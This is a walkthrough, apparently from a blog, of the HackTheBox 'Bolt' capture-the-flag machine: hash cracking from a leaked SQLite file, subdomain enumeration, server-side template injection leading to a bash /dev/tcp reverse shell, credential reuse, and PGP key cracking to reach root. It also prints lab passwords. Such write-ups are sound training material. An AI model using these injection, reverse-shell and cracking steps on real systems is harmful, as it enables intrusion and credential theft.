In this post, I would like to share a walkthrough of the Bolt Machine from HackTheBox
This room has been considered difficulty rated as a medium machine on HackThebox
What will you gain from the Bolt machine?
For the user flag, you will execute some SSTI attack on the website to obtain a reverse shell on the machine
As for the root flag, you need to play with Chrome password reuse that has been found on the .config directory
Once we have started the VPN connection which requires to download from Hackthebox, we can start the information gathering on the machine by executing the command nmap -sC -sV -p- <IP Address> -PN
Let’s try to access the website interface
On the website, there are two functions login and pages.
Firstly, let’s see the login page.
We don’t have any credentials to login but let’s try to login with normal credentials such as admin:admin
Sadly, we got error 403 ACCESS DENIED!
As a result, we need to find any credentials that we can login into the Dashboard.
On the Pages Function, there have a few links that we can look into, but Download Link caught my attention. Without further ado, let’s click the Download link
The Link has been re-direct to a page that allows us to download the file (image.tar) into our machine.
Let’s unzip the download file by using the command tar -xvf image.tar and we are presented with a lot of files
Let’s analyze all the folders and i notice that there’s a similar file in each folder.
It will take a long post if I reveal all files in the folder. So, I will just reveal those files that are important for us to obtain privileges
There’s a db.sqlite3 file where we can obtain the username and password for the Dashboard.
Gaining Privileges Access to bolt machine
We can access the db.sqlite3 by executing the sqlite3 tool
Honestly, i don’t have enough experience with the sqlite3 tool and as a result, we will need to read the help manual
From the manual, I notice that we can run the .tables command to check what tables have been saved on the db.sqlite3
We managed to obtain admin hashes by running select * from user;
Let’s save the hashes on our machine and crack the hashes by using john
However, we cannot crack the hash for some reason and we should troubleshoot the issues
After a while, I found the issues in which I have wrongly copy-paste the hashes into our machine
It should look as shown above.
Finally, we have successfully obtained the password for the admin. Let’s login the bolt.htb with the credentials such as
- username: admin
- password: deadbolt
Maintaining Privileges Access
Let’s roam the Dashboard to find any vulnerabilities or bugs inside here.
From the direct chat above, we have been informed that there’s another domain stored in the machine. Let’s enumerate the machine using gobuster
Wow! We successfully obtain two new subdomains which are mail and demo
The subdomain demo only shows a login page that will require credentials. Let’s create an account for the this
We are required to key in the invite code which we found earlier.
Finally, we can register an account using the invite code
Oh voila! We managed to access the Dashboard using the account that we created earlier.
On the other hand, we might be able to login the mail Roundcube using those credentials
There’s no email being stored over there while we access the mail.bolt.htb
We should be able to clarify the version of the RoundCube Webmail that we are using
Let’s roam around the Dashboard in case we found any useful vulnerabilities.
Attack verification on the website
We should test any attack on the profile settings where for starters, we can use Cross-Site Scripting (XSS) to verify whether it works in the interface
An email requires us to click the link to confirm the profile change
## The step above will be repeated over and over whenever we make some changes to the profile ##
Sadly, nothing happens when we run an XSS attack on the profile.
Server Site Template Injection (SSTI) attack
As a result, we can try to exploit using the SSTI method
The step has been similar to previously
Oh wow, we managed to sight that SSTI is a thing on the system.
Let’s do some research on the SSTI Attack so that we can use it in the future
We found a command that we can use for the SSTI method inside the HackTricks website interface
There’s another SSTI attack that the tester will normally use to verify the SSTI attack method
We got the config shown above.
From the research output, let’s try some java SSTI commands to get “id”
Sadly, we failed to get “id” output from that command
Let’s try another SSTI command
YES! We managed to retrieve the output that we wanted so badly.
Let’s start our NC listener so that we can retrieve the connection back.
For us to obtain the reverse shell connection back to us, i change “id” into “/bin/bash -c “bash -i >& /dev/tcp/<ip>/<port>”‘
We got the reverse shell back to us
On the home directory, we got two users which are Clark and Eddie
There’s passbolt directory that seems out of place that has been stored on a Linux operating system to have.
We notice that there’s a file called passbolt.php which might contain any credentials.
We got the password that we can use while reading the passbolt.php file
At last, we managed to find out that its password used by Eddie
Let’s ssh into the machine to get a better access
We can obtain a user flag by executing cat “user.txt“
Escalate to Root Privileges Access on Bolt
Before we proceed with the further privileges, we need to access the MySQL database where you will find a table(secret) that has been encrypted message just like below:
-----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
-----END PGP MESSAGE-----
We should save the encrypted message if required in the future.
If we look back on the earlier process, we managed to obtain shell using mail factor so let’s access /var/mail/ directory where there’s an Eddie file
On the Eddie file, we sighted an email coming from Clark that mention the extension to your browser.
Let’s access the directory above in case anything appears there.
There’s a log file that we can analyze further
The file contains a lot of things, but PGP Public Key Block have caught my attention the most
We can save the PGP using anything.key and later convert it to hash format by using gpg2john anything.key > anything.hash
After converting to hash from PGP format, the file will look such as above which it can be used to obtain a password for the chrome
I stumbled over an issue over here but if everything works well, you will be provided with the password such as merrychristmas
Once we obtain the password for the merrychristmas, we can decrypt the message that was encrypted previously.
For us to obtain the password from the encrypted message, we need to execute the following command
- gpg –batch –import anything.key
- gpg –pinetry-mode loopback –passphrase merrychristmas -d encrypted_message.asc
In the end, you will get the password (Z(2rmxsNW(Z?3=p/9s) to access Root Privileges.
We can read the root flag by running the “cat root.txt” command
Happy Learning Guys!
Extra Information on Bolt
We can go to /etc/shadow so that we can unlock and read the write-up